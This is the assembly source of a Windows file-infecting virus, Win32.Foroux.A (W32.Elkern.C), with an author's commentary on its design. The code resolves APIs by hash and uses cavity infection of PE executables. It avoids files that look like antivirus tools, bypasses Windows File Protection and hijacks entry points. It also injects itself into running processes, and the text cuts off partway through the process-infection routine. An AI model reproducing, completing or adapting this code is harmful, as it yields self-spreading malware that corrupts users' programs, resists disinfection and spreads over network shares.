comment $ This is the source code of Win32.Foroux.A(W32.Elkern.C) Features 1,Cavity infection.It splits itself to several small block and try to insert them to the host body.If there is no enough cavity,it will append the block to the host tail.I like cavity infection,and all Elkern family has such feature. Because after such infection,maybe the file size will be enlarged,but the enlarge size is uncertain. 2,Very good memory infection.Unlike the common method to stealth,it doesn't drop any file to the disk.Instead that,it will infect all process current in memory(on Win98, it will only infect Explorer to avoid crash some application(eg,OE)).This feature made it very difficult to disinfect. Every virus process will play its infect,but only one do very fast infection,and others will slowly infect.This is to avoid th draw the user's notice.If the 'fast' process exit,another virus process will become the 'fast' one. How to infect process?Maybe you'll say CreateRemoteThread,but it's pitiful that it's only supported by Win2000.Now I will introduce a common method which can run on all Win32 platform. When you get a process,insert a very short piece of virus code to its cavity,and modify the import table to redirect a API to your code.As soon as the API is called by the process,your code will get control and then,it can try to map a memroy map which contain your whole virus code.If it successes to do this,then it will jump to the real virus body. For more information,read infproc.asm 3,Dynamic decryption and encryption.When it call a routine,it will decryption it.When the routine returned,it will encryption with different key again.Though the encrypt algorism is very simple,it's very difficult to obtain 'plain' virus code. 4,It will infect all .exe and .scr PE file,and randomly it will ignore the file extension in order to infect more widely. 5,It was released by Klez.H. I like writing several source file for my asm virus.This virus source code files is pv.asm--the main asm file infect.asm--the routine to infect files infproc.asm--the routine to infect memory process mainthrd.asm--the main loop of virus work. But for your convenience to read,I join all files to a single file.But every file are seperated by comment with the file name. $ ;NOTE: All global data MUST NOT be in encryption block. .386 .model flat include win32.inc includelib import32.lib extrn MessageBoxA: proc extrn ExitProcess: proc extrn CreateProcessA: proc DEBUG equ 1 if DEBUG include debug.asm endif FMAP_NAME equ 'Wqk',0 MUTEX_NAME equ 'Oux',0 INFPROC_PROT_SIZE equ (4*1024) INFPROC_MAP_SIZE equ (16*1024) INF_SIGN equ 'QW' MEM_INF_SIGN equ ('Q'+'W') MEM_INF_POS equ 1ch INF_MIN_BLK_SIZE equ 38h MIN_SIZE_TO_INFECT equ (8*1024) if DEBUG INFECT_FIRSTDISK equ (0000ffffh and '00:w') INFECT_LASTDISK equ (0000ffffh and '00:z') else INFECT_FIRSTDISK equ (0000ffffh and '00:a') INFECT_LASTDISK equ (0000ffffh and '00:z') endif RESOURCETYPE_DISK equ 0001h RESOURCEUSAGE_CONTAINER equ 0002h RESOURCEUSAGE_ALL equ 0013h RESOURCE_GLOBALNET equ 0002h MAX_NETRESOURCE_NUM equ 1000 SECTION_QUERY equ 0001h SECTION_MAP_WRITE equ 0002h SECTION_MAP_READ equ 0004h SECTION_MAP_EXECUTE equ 0008h SECTION_EXTEND_SIZE equ 0010h FILE_MAP_COPY equ SECTION_QUERY FILE_MAP_WRITE equ SECTION_MAP_WRITE FILE_MAP_READ equ SECTION_MAP_READ ;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS PAGE_NOACCESS equ 01h PAGE_READONLY equ 02h PAGE_READWRITE equ 04h PAGE_WRITECOPY equ 08h PAGE_EXECUTE equ 10h PAGE_EXECUTE_READ equ 20h PAGE_EXECUTE_READWRITE equ 40h PAGE_EXECUTE_WRITECOPY equ 80h PAGE_GUARD equ 100h PAGE_NOCACHE equ 200h PAGE_WRITECOMBINE equ 400h MEM_COMMIT equ 1000h MEM_RELEASE equ 8000h MAX_PATH equ 260 MAX_DIR_SIZE equ MAX_PATH FILETIME struc dwLowDateTime dd 0 dwHighDateTime dd 0 FILETIME ends WIN32_FIND_DATA struc dwFileAttributes dd 0 ftCreationTime FILETIME <> ftLastAccessTime FILETIME <> ftLastWriteTime FILETIME <> nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db MAX_PATH dup(0) cAlternateFileName db 14 dup(0) foralign db 2 dup(0) WIN32_FIND_DATA ends EXIT macro push large 0 call ExitProcess endm CALLHEADER macro entry dw 0 dw entry&_end - entry ENDM SUBCALL macro sub,rel ;;NOTE : This macro WILL destroy ESI lea esi,[ebp+sub-rel] call _callsub endm .data cap db 'Haha',0 str db "Hello sakld;gjlsad",0dh,0ah,0 dummyfile db "dummy.exe" .code vir_header: dd 0 dw vir_size dw 'QW' _start: pushfd ;If some flags,especial DF,changed,some APIs can crash down!!! pushad call _start_ip _start_ip: pop ebp _start_@1 equ $ lea edi,[ebp+hash_table-8-_start_ip] mov ebx,[esp+9*4] and ebx,0ffe00000h ;98-BFF70000,2K-77E80000,XP-77E60000 _start_@2 equ $ lea esi,[ebp+search_api_addr-_start_ip] call _callsub _start_@3 equ $ lea eax,[ebp+return_to_host-_start_ip] push eax main_enter: lea edx,[ebp+vir_body-_start_ip] db 89h,0d6h ;mov esi,edx call _callsub retn return_to_host: sub ebp,1000h+_start_ip-vir_header host_section_rva equ dword ptr $-4 add ebp,offset host-400000h host_entry_rva equ dword ptr $-4 mov dword ptr [ebp],000000b8h host_entry_1 equ dword ptr $-4 mov byte ptr [ebp+4],0 host_entry_2 equ byte ptr $-1 mov [esp+7*4],ebp popad popfd jmp eax _start_end: CALLHEADER vir_body vir_body: pushad call vir_body_ip vir_body_ip: pop ebp SUBCALL merge_code,vir_body_ip or eax,eax jz short vir_body_ret add eax,main_thread-_start mov esi,eax call blk_decrypt mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs xor ecx,ecx push ecx push esp push ecx push ecx push eax push ecx push ecx call [ebp+addrCreateThread-vir_body_ip] pop ecx vir_body_ret: popad retn vir_body_end: ;out--eax=buffer address CALLHEADER merge_code merge_code: merge_code_ip equ vir_body_ip xor edi,edi mov eax,vir_mem_size SUBCALL create_mem_map,merge_code_ip push eax jz short merge_code_ret cld mov edi,eax lea esi,[ebp+_start-merge_code_ip] lea edx,[ebp+_start_ip-merge_code_ip] sub edx,[ebp+host_section_rva-merge_code_ip] sub esi,edx merge_code_loop: add esi,edx movzx ecx,word ptr [esi-4] push esi rep movsb pop esi mov esi,[esi-8] or esi,esi jnz short merge_code_loop merge_code_ret: pop eax retn merge_code_end: ;in--eax=size,edi->object name ;out--eax=buffer address,edi=map handle,ZF set means fail CALLHEADER create_mem_map create_mem_map: push ebp push ebx push ecx call create_mem_map_ip create_mem_map_ip: pop ebp push edi push eax xor eax,eax push eax push large PAGE_READWRITE push eax dec eax push eax call [ebp+addrCreateFileMappingA-create_mem_map_ip] or eax,eax jz short create_mem_map_1 xchg eax,edi xor eax,eax push eax push eax push eax push large FILE_MAP_WRITE push edi call [ebp+addrMapViewOfFile-create_mem_map_ip] create_mem_map_1: pop ecx pop ebx pop ebp or eax,eax retn create_mem_map_end: ;In--esi->destination address ;Header format,2 byte:key,2 byte: length ;CAN NOT call get_rand _callsub: call blk_decrypt call_sub_1: push dword ptr [esi-4] mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs push esi call esi pop esi pop dword ptr [esi-4] pushfd add word ptr [esi-4],5678h callsub_seed equ $-2 call blk_encrypt popfd retn ;in--esi->block entry blk_decrypt equ blk_encrypt blk_encrypt: pushad cld mov edi,esi mov edx,[esi-4] blk_encrypt_@1 equ $-blk_encrypt xor ecx,ecx nop ;for poly shld ecx,edx,0fh blk_encrypt_1: lodsw xor ax,dx stosw loop blk_encrypt_1 popad retn ;***************************Find import some APIs********************* HASH16FACTOR = 0ED388320h HASH16 MACRO String,sym HASH_Reg = 0FFFFFFFFh IRPC _x, <String> Ctrl_Byte = ('&_x&' XOR (HASH_Reg AND 0FFh)) HASH_Reg = (HASH_Reg SHR 8) REPT 8 Ctrl_Byte = (Ctrl_Byte SHR 1) XOR (HASH16FACTOR * (Ctrl_Byte AND 1)) ENDM HASH_Reg = (HASH_Reg XOR Ctrl_Byte) ENDM sym DW (HASH_Reg AND 0FFFFh) ENDM ;in--ebx is the base to search-10000h,edi->the hash table,include dll name CALLHEADER search_api_addr search_api_addr: pushad pushfd call search_api_addr_ip search_api_addr_ip: pop ebp push ebp lea eax,[ebp+search_api_addr_seh-search_api_addr_ip] push eax xor ecx,ecx push dword ptr fs:[ecx] mov fs:[ecx],esp search_api_addr_@1: add ebx,10000h jz short search_api_addr_seh_restore cmp word ptr [ebx],'ZM' jnz short search_api_addr_@1 mov eax,[ebx+3ch] add eax,ebx cmp word ptr [eax],'EP' jnz short search_api_addr_@1 mov eax,[eax+78h] add eax,ebx mov edx,[eax+3*4] add edx,ebx mov ecx,[edi] cmp dword ptr [edx],ecx jnz short search_api_addr_@1 mov ecx,[edi+4] cmp dword ptr [edx+4],ecx jnz short search_api_addr_@1 search_api_addr_seh_restore: xor ecx,ecx POP DWord Ptr FS:[ecx] ; restore except chain pop esi pop esi add edi,8 or ebx,ebx jz short search_api_addr_ret SUBCALL find_all_exportfunc,search_api_addr_ip search_api_addr_ret: popfd popad retn search_api_addr_seh: call search_api_addr_seh_ip search_api_addr_seh_ip: pop eax lea eax,[eax-(search_api_addr_seh_ip-search_api_addr_@1)] seh_cont: PUSH eax MOV EAX,[ESP + 00Ch+4] ; context POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc XOR EAX,EAX ; 0 = ExceptionContinueExecution RET search_api_addr_end: CALLHEADER find_all_exportfunc find_all_exportfunc: cld dec ecx push eax xor eax,eax repnz scasw not ecx dec ecx push ecx push edi rep stosd ;Clear all API address pop edi sub edi,4 pop ecx pop eax mov esi,[eax+8*4] add esi,ebx ;esi->name RVA array mov esi,[esi] add esi,ebx xor edx,edx push ecx find_exportfunc: push ecx find_exportfunc_1: cmp edx,[eax+6*4] pop ecx jz short find_exportfunc_ret push ecx inc edx push eax call calc_hash16 push edi std mov ecx,[esp+3*4] repnz scasw pop edi pop eax jnz short find_exportfunc_1 push edx dec edx push edi mov edi,[eax+9*4] add edi,ebx ;edi->ordinal array movzx edx,word ptr [edi+edx*2] mov edi,[eax+7*4] add edi,ebx ;edi->function RVA mov edx,[edi+edx*4] add edx,ebx pop edi mov [edi+ecx*4+4],edx pop edx pop ecx loop find_exportfunc find_exportfunc_ret: pop ecx retn find_exportfunc_end: calc_hash16: ;esi->string push edx push 0ffffffffh pop edx cld load_character: lodsb or al, al jz exit_calc_crc xor dl, al mov al, 8 crc_byte: shr edx, 1 jnc loop_crc_byte xor edx, HASH16FACTOR loop_crc_byte: dec al jnz crc_byte jmp load_character exit_calc_crc: xchg edx, eax ;now ax is the hash 16,esi->string after the NULL character after last string pop edx ret calc_hash16_end: find_all_exportfunc_end: db 'KERNEL32' hash_table equ this word HASH16 <SetEndOfFile>,hsSetEndOfFile HASH16 <SetFilePointer>,hsSetFilePointer HASH16 <CreateFileA>,hsCreateFileA HASH16 <GetFileAttributesA>,hsGetFileAttributesA HASH16 <SetFileAttributesA>,hsSetFileAttributesA HASH16 <CloseHandle>,hsCloseHandle HASH16 <GetFileTime>,hsGetFileTime HASH16 <SetFileTime>,hsSetFileTime HASH16 <GetFileSize>,hsGetFileSize HASH16 <CreateFileMappingA>,hsCreateFileMappingA HASH16 <MapViewOfFile>,hsMapViewOfFile HASH16 <UnmapViewOfFile>,hsUnmapViewOfFile HASH16 <OpenFileMappingA>,hsOpenFileMappingA HASH16 <VirtualProtectEx>,hsVirtualProtectEx HASH16 <ReadProcessMemory>,hsReadProcessMemory HASH16 <WriteProcessMemory>,hsWriteProcessMemory HASH16 <OpenProcess>,hsOpenProcess HASH16 <FindFirstFileA>,hsFindFirstFileA HASH16 <FindNextFileA>,hsFindNextFileA HASH16 <FindClose>,hsFindClose HASH16 <LoadLibraryA>,hsLoadLibraryA HASH16 <CreateThread>,hsCreateThread HASH16 <MultiByteToWideChar>,hsMultiByteToWideChar HASH16 <Sleep>,hsSleep HASH16 <lstrcmpiA>,hslstrcmpi HASH16 <GetModuleFileNameA>,hsGetModuleFileNameA HASH16 <GetDriveTypeA>,hsGetDriveTypeA HASH16 <GetTickCount>,hsGetTickCount HASH16 <GetVersion>,hsGetVersion HASH16 <CreateToolhelp32Snapshot>,hsCreateToolhelp32Snapshot HASH16 <Process32First>,hsProcess32First HASH16 <Process32Next>,hsProcess32Next if DEBUG HASH16 <OutputDebugStringA>,hsOutputDebugStringA HASH16 <GetLastError>,hsGetLastError HASH16 <ExitProcess>,hsExitProcess endif dw 0 hash_addr equ this dword addrSetEndOfFile dd 0 addrSetFilePointer dd 0 addrCreateFileA dd 0 addrGetFileAttributesA dd 0 addrSetFileAttributesA dd 0 addrCloseHandle dd 0 addrGetFileTime dd 0 addrSetFileTime dd 0 addrGetFileSize dd 0 addrCreateFileMappingA dd 0 addrMapViewOfFile dd 0 addrUnmapViewOfFile dd 0 addrOpenFileMappingA dd 0 addrVirtualProtectEx dd 0 addrReadProcessMemory dd 0 addrWriteProcessMemory dd 0 addrOpenProcess dd 0 addrFindFirstFileA dd 0 addrFindNextFileA dd 0 addrFindClose dd 0 addrLoadLibraryA dd 0 addrCreateThread dd 0 addrMultiByteToWideChar dd 0 addrSleep dd 0 addrlstrcmpiA dd 0 addrGetModuleFileNameA dd 0 addrGetDriveTypeA dd 0 addrGetTickCount dd 0 addrGetVersion dd 0 addrCreateToolhelp32Snapshot dd 0 addrProcess32First dd 0 addrProcess32Next dd 0 if DEBUG addrOutputDebugStringA dd 0 addrGetLastError dd 0 addrExitProcess dd 0 endif db 'sfc.dll',0 sfc_hash_table equ this word HASH16 <SfcIsFileProtected>,isSfcIsFileProtected dw 0 sfc_hash_addr equ this dword addrSfcIsFileProtected dd 0 db 'MPR.dll',0 mpr_hash_table equ this word HASH16 <WNetOpenEnumA>,hsWNetOpenEnumA HASH16 <WNetEnumResourceA>,hsWNetEnumResourceA HASH16 <WNetCloseEnum>,hsWNetCloseEnum dw 0 mpr_hash_addr equ this dword addrWNetOpenEnumA dd 0 addrWNetEnumResourceA dd 0 addrWNetCloseEnum dd 0 db 'USER32.d' user32_hash_table equ this word HASH16 <DispatchMessageA>,hsDispatchMessageA HASH16 <DispatchMessageW>,hsDispatchMessageW dw 0 user32_hash_addr equ this dword addrDispatchMessageA dd 0 addrDispatchMessageW dd 0 ;***************************Find import APIs end********************* vir_first_blk_size equ $-_start ;*******************************infect.asm***************************** ;include infect.asm FOPESP_BASE equ 0 ;In--edi->file name,dl=operation code CALLHEADER file_operate file_operate: pushad call file_op_ip file_op_ip: pop ebp mov ebx,edi SUBCALL is_in_dllcache,file_op_ip jz file_op_ret xor esi,esi push ebp lea eax,[ebp+file_op_seh-file_op_ip] push eax xor eax,eax push dword ptr fs:[eax] mov fs:[eax],esp push edi call [ebp+addrGetFileAttributesA-file_op_ip] push eax ;esp->file attribute push edi ;esp->file name pointer test eax,FILE_ATTRIBUTE_READONLY jz short file_op_not_readonly and eax,not FILE_ATTRIBUTE_READONLY push eax push edi call [ebp+addrSetFileAttributesA-file_op_ip] file_op_not_readonly: push esi push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN push large OPEN_EXISTING push esi push large FILE_SHARE_READ push large GENERIC_WRITE or GENERIC_READ push edi call [ebp+addrCreateFileA-file_op_ip] inc eax jz file_op_fail_createfile dec eax push eax ;esp->file handle lea ebx,[ebp+ftime-file_op_ip] push ebx ;ebx->file last write time add ebx,8 push ebx add ebx,8 push ebx push eax call [ebp+addrGetFileTime-file_op_ip] push ecx push esp ;->file size high push dword ptr [esp+2*4] call [ebp+addrGetFileSize-file_op_ip] pop ecx inc eax jz file_op_fail_getfilesize dec eax or ecx,ecx jnz file_op_fail_getfilesize push eax ;esp->file size xchg eax,edi add edi,vir_size+8+1000h ;edi=max file size push esi push edi push esi push large PAGE_READWRITE push esi push dword ptr [esp+5*4+4] call [ebp+addrCreateFileMappingA-file_op_ip] or eax,eax jz file_op_fail_createfilemapping push eax ; esp->save file mapping handle push edi push esi push esi push large FILE_MAP_WRITE push eax call [ebp+addrMapViewOfFile-file_op_ip] or eax,eax jz file_op_fail_mapviewoffile push eax ;esp->save file mapping base pointer mov [ebp+file_op_esp-file_op_ip],esp ;************************************************************************ ;Now ebp->file_op_ip eax->file base(image base) ;esp->file mapping base address ;esp+4->file mapping handle ;esp+8h->file size ;esp+0ch->file handle ;esp+10h->file name pointer ;esp+14h->file attribute ;Les's begin file operation ;************************************************************************ xchg ebx,eax SUBCALL check_pe,file_op_ip jz short file_op_unmapping_jmp1 ;Check AV file by look for 'irus' in the file mov ecx,[esp+8] cmp ecx,MIN_SIZE_TO_INFECT jc file_op_unmapping pushad add ecx,eax sub ecx,ebx sub ecx,8 mov edi,eax mov eax,'suri' ;V irus check_av_1: sub edi,3 scasd loopnz short check_av_1 or ecx,ecx popad jnz short file_op_unmapping_jmpnz ;Let's check whether this file is under file protect,if so,not infect it,avoid WFP error mov ecx,[ebp+addrSfcIsFileProtected-file_op_ip] jecxz file_op_check_wfp_end pushad ;check_wfp: mov edi,640 sub esp,edi mov ebx,esp push ecx push edi push ebx ;lpWideCharStr push -1 push dword ptr [esp+edi+FOPESP_BASE+4*4+8*4+10h] push large 1 ;MB_PRECOMPOSED push large 0 ;CP_ACP call [ebp+addrMultiByteToWideChar-file_op_ip] pop eax push esp push large 0 call eax add esp,edi or eax,eax popad file_op_unmapping_jmpnz: jnz file_op_unmapping file_op_check_wfp_end: ;Check whether it's a WinZip Self-Extractor file movzx edx,word ptr [eax+14h] mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData add edx,ebx cmp dword ptr [edx+10h],'ZniW' jnz not_winzip cmp word ptr [edx+10h+4],'pi' file_op_unmapping_jmp1: jz file_op_unmapping not_winzip: ;Check whether the file is a SFX(RAR file) xor edi,edi SUBCALL get_section_of_rva,file_op_ip mov ecx,[edx+0ch] add ecx,[edx+8] mov esi,ecx shr ecx,3 add ecx,esi cmp ecx,[esp+FOPESP_BASE+8] jna file_op_unmapping add esi,ebx ;now ecx->perhaps rar file header cmp dword ptr [esi],21726152h ;test for rar signature jz short file_op_unmapping_jmp1 ;Check infected mov edi,[eax+28h] SUBCALL get_section_of_rva,file_op_ip sub edi,[edx+4] add edi,[edx+0ch] add edi,ebx lea esi,[ebp+infbuffer-file_op_ip] mov ecx,[edi] mov [esi+host_entry_1-_start],ecx mov cl,[edi+4] mov [esi+host_entry_2-_start],cl mov [ebp+entry_point-file_op_ip],edi cmp byte ptr [edi],0e9h jnz short check_infected_not_epo add edi,[edi+1] add edi,5 check_infected_not_epo: cmp word ptr [edi-2],INF_SIGN jnz short check_infected_end cmp word ptr [edi+3],0h jz file_op_unmapping_jmp1 check_infected_end: ;For EPO purpose,we must set the code section writable or dword ptr [edx+1ch],00000020h or 00000040h or 10000000h or 20000000h or 40000000h or 80000000h ; modify section's Characteristics lea esi,[ebp+infbuffer-file_op_ip] mov dword ptr [ebp+blk_min_size-file_op_ip],vir_first_blk_size+8 mov dword ptr [ebp+remaind_size-file_op_ip],vir_size xor edx,edx mov [ebp+block_pointer-file_op_ip],edx cld first_section: movzx edx,word ptr [eax+14h] lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize next_section: add edx,28h mov ecx,[edx] ;VirtualSize mov edi,[edx+8] ;SizeOfRawData cmp ecx,edi jna short file_op_1 xchg edi,ecx file_op_1: add ecx,[edx+0ch] mov edi,vir_first_blk_size+8+38h call is_final_section jz short inf_at_tail mov edi,[edx+28h+0ch] sub edi,ecx cmp edi,vir_first_blk_size+8 blk_min_size equ $-4 ;NOTE:Next section's PointerToRawData may be 0 or less than current PointerToRawData ;if so,don't use this section.So use jl instead of jc jl goto_next_section inf_at_tail: ;Some PE file's .BSS(uninitialized data) and .TLS section's PointerToRawData can be 0,it doesn't take ;disk space.If infect this kind of section,the file will be damaged.So must avoid it. cmp dword ptr [edx+0ch],0 ;this section's PointerToRawData==0? jz goto_next_section xchg edi,ecx add edi,[esp] mov dword ptr [edi],0 sub ecx,8 cmp ecx,[ebp+remaind_size-file_op_ip] jl short file_op_8 mov ecx,[ebp+remaind_size-file_op_ip] file_op_8: sub [ebp+remaind_size-file_op_ip],ecx mov dword ptr [edi+4],ecx add edi,8 mov ebx,12345678h block_pointer equ $-4 or ebx,ebx jz short file_op_7 push edi sub edi,[edx+0ch] add edi,[edx+4] sub edi,[esp+4] mov [ebx-8],edi pop edi file_op_7: mov [ebp+block_pointer-file_op_ip],edi lea ebx,[ebp+infbuffer-file_op_ip+vir_first_blk_size-10h] cmp esi,ebx ;is first block? ja file_op_2 ;No mov word ptr [edi-2],INF_SIGN or dword ptr [edx+1ch],00000020h or 00000040h or 10000000h or 20000000h or 40000000h or 80000000h ; modify section's Characteristics ;Check relocation,try to implement EPO mov ebx,[eax+28h] ;AddressOfEntryPoint mov [esi+host_entry_rva-_start],ebx ;save host code entry pushad sub edi,[edx+0ch] add edi,[edx+4] sub edi,[esp+FOPESP_BASE+8*4] mov [ebp+redir_entry_point-file_op_ip],edi add edi,(_start_ip-_start) mov [esi+host_section_rva-_start],edi ;save host code base mov ecx,[eax+0a0h] ;Relocation RVA or ecx,ecx jz short chk_reloc_end mov edi,ecx SUBCALL get_section_of_rva,file_op_ip sub edi,[edx+4] add edi,[edx+0ch] add edi,[esp+FOPESP_BASE+8*4] ;Physical address mov esi,edi xor ecx,ecx next_reloc_trunk: add esi,ecx lodsd mov edx,eax lodsd mov ecx,eax sub ecx,8 clc or edx,edx jz short chk_reloc_end cmp ebx,edx jc short next_reloc_trunk push edx add edx,1000h cmp ebx,edx pop edx ja short next_reloc_trunk ;Found the fit trunk shr ecx,1 xor eax,eax mov edi,edx chk_reloc_1: lodsw or eax,eax jz short chk_reloc_end and eax,0fffh add edx,eax mov eax,ebx sub eax,3 cmp edx,eax jc short chk_reloc_2 add eax,8 cmp edx,eax jc short chk_reloc_3 chk_reloc_2: mov edx,edi loop chk_reloc_1 chk_reloc_3: or ecx,ecx chk_reloc_end: popad mov dword ptr [eax+28h],12345678h redir_entry_point equ $-4 pushad jnz short epo_end mov [eax+28h],ebx ;restore entry point mov ebx,12345678h entry_point equ $-4 mov byte ptr [ebx],0e9h sub edi,[esp+8*4] sub edi,[edx+0ch] add edi,[edx+4] sub edi,[eax+28h] sub edi,5 mov [ebx+1],edi epo_end: popad file_op_2: mov dword ptr [ebp+blk_min_size-file_op_ip],INF_MIN_BLK_SIZE pushad sub edi,[edx+0ch] add edi,[edx+4] mov ebx,[edx] ;VirtualSize mov edi,[edx+8] ;SizeOfRawData xor esi,esi cmp ebx,edi jna short file_op_3 xchg edi,ebx inc esi file_op_3: add ebx,ecx add ebx,8 file_op_4: cmp ebx,edi ;is bigger one less than small one? jna short file_op_5 ;no add edi,[eax+3ch] ;FileAlignment jmp short file_op_4 file_op_5: or esi,esi jz short file_op_6 xchg edi,ebx file_op_6: mov [edx],ebx mov [edx+8],edi popad rep movsb or dword ptr [edx+1ch],00000040h or 40000000h; modify section's Characteristics and dword ptr [edx+1ch],not 02020000 ;delete discardable Characteristics goto_next_section: mov ecx,vir_size remaind_size equ $-4 jecxz file_op_ok call is_final_section jnz next_section jmp first_section file_op_ok: xor edi,edi SUBCALL get_section_of_rva,file_op_ip ;Round image size mov ecx,[edx] add ecx,[edx+4] mov ebx,[eax+50h] file_op_9: cmp ecx,ebx jbe short file_op_10 add ebx,[eax+38h] jmp short file_op_9 file_op_10: mov [eax+50h],ebx ;Round physical size mov ecx,[edx+8] add ecx,[edx+0ch] cmp ecx,[esp+8] jc short file_op_11 mov [esp+8],ecx file_op_11: pop esi ;esi=file base push esi mov byte ptr [esi+MEM_INF_POS],MEM_INF_SIGN ;Set memory infected sign. ;Recalculate checksum if there is any lea ebx,[eax+58h] mov ecx,[ebx] ;Is the checksum zero? jecxz no_checksum ;Yes,it's zero,nothing to do; ;Now let me calculate the checksum mov dword ptr [ebx],0 ;zero the checksum mov ecx,[esp+8] ;the file size push ecx ;the file size after infect shr ecx,1 xor edx,edx checksum_loop: movzx eax, word ptr [esi] add edx, eax mov eax, edx and edx, 0ffffh shr eax, 10h add edx, eax inc esi inc esi loop checksum_loop mov eax, edx shr eax, 10h add ax, dx pop ecx add eax,ecx ;Now eax is the checksum,store it mov [ebx],eax no_checksum: file_op_unmapping: mov esp,12345678h file_op_esp equ $-4 ;Now esp have point to file mapping base pointer call [ebp+addrUnmapViewOfFile-file_op_ip] file_op_fail_mapviewoffile: call [ebp+addrCloseHandle-file_op_ip] ;Close file mapping file_op_fail_createfilemapping: pop eax ;eax=file size push large 0 push large 0 push eax push dword ptr [esp+4*3] call [ebp+addrSetFilePointer-file_op_ip] push dword ptr [esp] call [ebp+addrSetEndOfFile-file_op_ip] ;truncate the file to fit size file_op_fail_getfilesize: pop eax push eax lea ebx,[ebp+ftime-file_op_ip] push ebx ;ebx->file last write time add ebx,8 push ebx add ebx,8 push ebx push eax call [ebp+addrSetFileTime-file_op_ip] call [ebp+addrCloseHandle-file_op_ip] ;Close file file_op_fail_createfile: call [ebp+addrSetFileAttributesA-file_op_ip] xor ecx,ecx POP DWord Ptr FS:[ecx] ; restore except chain pop ecx pop ecx file_op_ret: popad retn file_op_seh: call file_op_seh_ip file_op_seh_ip: pop eax lea eax,[eax-(file_op_seh_ip-file_op_unmapping)] PUSH eax MOV EAX,[ESP + 00Ch+4] ; context POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc XOR EAX,EAX ; 0 = ExceptionContinueExecution RET ;in--edx->current section VirtualSize,eax->PE base,ebx->base address,ebp->file_op_ip ;out--ZF set is final,ZF cleared isn't final is_final_section: pushad mov ecx,edx xor edi,edi SUBCALL get_section_of_rva,file_op_ip cmp ecx,edx popad retn is_final_section_end: file_operate_end: ;*******************************infect.asm end***************************** ;*******************************infproc.asm***************************** ;include infproc.asm ;Code to inject to process CALLHEADER inject_code inject_code: jmp short $+2 inject_code_flow equ $-1 pushad pushfd call inject_code_ip inject_code_ip: pop ebp xor esi,esi call inject_code_1 db FMAP_NAME inject_code_1: push esi push large FILE_MAP_WRITE mov edx,12345678h inject_code_openfilemapping equ $-4 call edx or eax,eax jz short inject_code_goto_raw push esi push esi push esi push large FILE_MAP_WRITE push eax mov edx,12345678 inject_code_mapviewoffile equ $-4 call edx or eax,eax jz short inject_code_goto_raw mov byte ptr [ebp+inject_code_flow-inject_code_ip],inject_code_goto_raw_1-inject_code_flow-1 lea ebp,[eax+_start_ip-vir_header] add eax,main_enter-vir_header call eax inject_code_goto_raw: popfd popad inject_code_goto_raw_1: push large 12345678h inject_code_raw_api equ $-4 retn inject_code_end: inject_code_size equ $-inject_code ;in--edi=process handle,ebx->process base address,ebp->inf_proc_ip ;out--ZF set,failed ZF cleared,success CALLHEADER virtual_protect virtual_protect: pushad push ecx push esp push large PAGE_EXECUTE_READWRITE push large INFPROC_PROT_SIZE push ebx push edi call [ebp+addrVirtualProtectEx-inf_proc_ip] pop ecx or eax,eax popad retn virtual_protect_end: ;in--edi=process handle,ebx=process address to read,ebp->inf_proc_ip ;out--read data to vbuffer,eax->vbuffer CALLHEADER read_proc_mem read_proc_mem: lea eax,[ebp+vbuffer-inf_proc_ip] pushad push ecx push esp push large INFPROC_MAP_SIZE push eax push ebx push edi call [ebp+addrReadProcessMemory-inf_proc_ip] pop ecx or eax,eax popad retn read_proc_mem_end: ;in--edi=process handle,ebx=process address to write,ebp->inf_proc_ip,eax->buffer,ecx=size to write ;out--write data from vbuffer CALLHEADER write_proc_mem write_proc_mem: pushad push ecx push esp push ecx push eax push ebx push edi call [ebp+addrWriteProcessMemory-inf_proc_ip] pop ecx or eax,eax popad retn write_proc_mem_end: ;in--edi=process handle,ebx->process base address CALLHEADER inf_proc inf_proc: pushad call inf_proc_ip inf_proc_ip: pop ebp push ebp lea esi,[ebp+inf_proc_seh-inf_proc_ip] push esi xor esi,esi push dword ptr fs:[esi] mov fs:[esi],esp lea esi,[ebp+inject_code-inf_proc_ip] push esi call blk_decrypt pushad mov ecx,[ebp+addrMapViewOfFile-inf_proc_ip] mov [ebp+inject_code_mapviewoffile-inf_proc_ip],ecx mov ecx,[ebp+addrOpenFileMappingA-inf_proc_ip] mov [ebp+inject_code_openfilemapping-inf_proc_ip],ecx call inf_proc_0 db FMAP_NAME inf_proc_0: pop edi push edi push large 0 push large FILE_MAP_WRITE call ecx or eax,eax jz short inf_proc_not_mapped push eax call [ebp+addrCloseHandle-inf_proc_ip] jmp short inf_proc_mapped inf_proc_not_mapped: mov eax,vir_mem_size mov ecx,eax SUBCALL create_mem_map,inf_proc_ip jz short inf_proc_mapped cld mov edi,eax xor eax,eax stosd mov eax,vir_size stosd lea esi,[ebp+_start-inf_proc_ip] rep movsb mov [ebp+quick_sleep-inf_proc_ip],esi ;Have quick sleep inf_proc_mapped: popad mov [ebp+inf_proc_esp-inf_proc_ip],esp SUBCALL virtual_protect,inf_proc_ip jz inf_proc_ret ;edi ;Process handle ;ebx Process base address ;eax vbuffer address push edi push ebx SUBCALL read_proc_mem,inf_proc_ip cmp byte ptr [eax+MEM_INF_POS],MEM_INF_SIGN ;Has been infected? inf_proc_seh_restore_jmp: jz inf_proc_seh_restore mov byte ptr [eax+MEM_INF_POS],MEM_INF_SIGN mov ecx,INFPROC_MAP_SIZE SUBCALL write_proc_mem,inf_proc_ip ;Write import table mov ebx,eax SUBCALL check_pe,inf_proc_ip jz short inf_proc_seh_restore_jmp ;eax->PE base mov edi,[eax+28h] SUBCALL get_section_of_rva,inf_proc_ip or ecx,ecx jz short inf_proc_seh_restore_jmp mov edi,[edx+4] mov [ebp+inf_proc_rva-inf_proc_ip],edi mov edi,[edx] mov ecx,[edx+8] cmp edi,ecx jna short inf_proc_3 xchg ecx,edi inf_proc_3: ;Now edi is the small size,ecx is the big one mov [ebp+inf_proc_code_size-inf_proc_ip],edi sub ecx,edx cmp ecx,inject_code_size jc inf_proc_seh_restore mov ecx,[eax+80h] ;Import directory or ecx,ecx jz short inf_proc_seh_restore_jmp pop ebx pop edi push ebx 